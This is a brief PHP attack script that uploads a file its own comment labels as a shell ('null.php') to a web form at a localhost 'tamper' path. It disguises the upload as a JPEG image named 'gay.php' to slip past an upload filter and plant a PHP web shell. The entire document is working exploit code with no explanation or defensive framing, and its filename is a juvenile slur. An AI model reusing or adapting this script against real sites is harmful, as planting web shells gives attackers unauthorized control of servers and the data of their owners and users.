<?php 
$file="null.php"; //shell
$md5=md5(strtotime("now"));
$data="-----------------------------$md5
Content-Disposition: form-data; name=\"Filegambar\"; filename=\"gay.php\"
Content-Type: image/jpg

".file_get_contents($file)."
-----------------------------$md5
Content-Disposition: form-data; name=\"button\"

Upload
-----------------------------17951627026322--
";
$ch = curl_init();
$opt= array(CURLOPT_URL => "http://127.0.0.1/tamper/index.php", CURLOPT_USERAGENT => "Mozilla 6666", 
CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_POST => 1,
CURLOPT_HTTPHEADER => array("Content-Type: multipart/form-data; boundary=---------------------------$md5"),
 CURLOPT_POSTFIELDS => $data
);
curl_setopt_array($ch, $opt);
$cok = curl_exec($ch);
echo $cok;
curl_close($ch);
?>